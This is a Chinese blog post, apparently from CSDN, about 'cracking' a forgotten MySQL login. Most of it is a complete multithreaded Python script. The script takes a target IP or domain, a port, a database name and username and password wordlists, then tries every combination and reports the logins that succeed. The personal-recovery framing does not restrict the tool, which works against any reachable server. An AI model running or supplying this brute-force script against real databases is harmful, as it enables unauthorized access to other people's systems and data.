用Python寫了個工具,完美破解了MySQL
版權(quán)聲明:本文為博主原創(chuàng)文章,遵循 CC 4.0 BY-SA 版權(quán)協(xié)議,轉(zhuǎn)載請附上原文出處鏈接和本聲明。
本文鏈接:
https://blog.csdn.net/l1028386804/article/details/118378477
今天下班回家想登錄MySQL數(shù)據(jù)庫,很遺憾,我忘記了MySQL數(shù)據(jù)庫的用戶和密碼。我該怎么辦?使用安全模式登錄?我想每個人都應(yīng)該知道這樣一種傳統(tǒng)的方式!今天,讓我們來做個改變,就是用Python寫一個工具來破解MySQL,看看它能不能破解出MySQL的用戶和密碼。
爆破腳本
待破解的ip/domain:例如127.0.0.1
端口:例如3306
數(shù)據(jù)庫:例如test
用戶名列表文件:例如user.txt文件
密碼列表文件:例如password.txt文件
下面給出完整的腳本代碼:
#!/usr/bin/env python# -*- coding: gbk -*-# -*- coding: utf-8 -*-# Date: 2021/07/25# Created by 盟主# Description MySQL暴力破解工具多線程版import os, sys, re, socket, timefrom functools import partialfrom multiprocessing.dummy import Pool as ThreadPooltry:import MySQLdbexcept ImportError:print '\n[!] MySQLdb模塊導(dǎo)入錯誤,請到下面網(wǎng)址下載:'print '[!] http://www.codegood.com/archives/129'exit()def usage():print '+' + '-' * 50 + '+'print '\t Python MySQL暴力破解工具多線程版'print '\t 微信公眾號:Python聯(lián)盟'print '\t\t Code BY: 盟主'print '\t\t Time:2021-06-30'print '+' + '-' * 50 + '+'if len(sys.argv) != 6:print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 數(shù)據(jù)庫 用戶名列表 密碼列表"print "實例: " + os.path.basename(sys.argv[0]) + " 127.0.0.1 3306 test user.txt pass.txt"sys.exit()def mysql_brute(user, password):"mysql數(shù)據(jù)庫破解函數(shù)"db = Nonetry:# print "user:", user, "password:", passworddb = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))# print '[+] 破解成功:', user, passwordresult.append('用戶名:' + user + "\t密碼:" + password)except KeyboardInterrupt:print '已成功退出程序!'exit()except MySQLdb.Error, msg:print '程序出錯,錯誤信息為:', msgpassfinally:if db:db.close()if __name__ == '__main__':usage()start_time = time.time()if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):host = sys.argv[1]else:host = socket.gethostbyname(sys.argv[1])userlist = [i.rstrip() for i in open(sys.argv[4])]passlist = [j.rstrip() for j in open(sys.argv[5])]print '\n[+] 目 標(biāo):%s \n' % sys.argv[1]print '[+] 用戶名:%d 條\n' % len(userlist)print '[+] 密 碼:%d 條\n' % len(passlist)print '[!] 密碼破解中,請稍候……\n'result = []for user in userlist:partial_user = partial(mysql_brute, user)pool = ThreadPool(10)pool.map(partial_user, passlist)pool.close()pool.join()if len(result) != 0:print '[+] MySQL密碼破解成功!\n'for x in {}.fromkeys(result).keys():print x + '\n'else:print '[-] MySQL密碼破解失敗!\n'print '[+] 破解完成,用時: %d 秒' % (time.time() - start_time)
腳本編寫完成后,運行,等待了一段時間,將我的MySQL的用戶和密碼完美的破解出來了。
- EOF -
回復(fù)關(guān)鍵字“簡明python ”,立即獲取入門必備書籍《簡明python教程》電子版
回復(fù)關(guān)鍵字“爬蟲”,立即獲取爬蟲學(xué)習(xí)資料

推薦
評論
圖片
表情
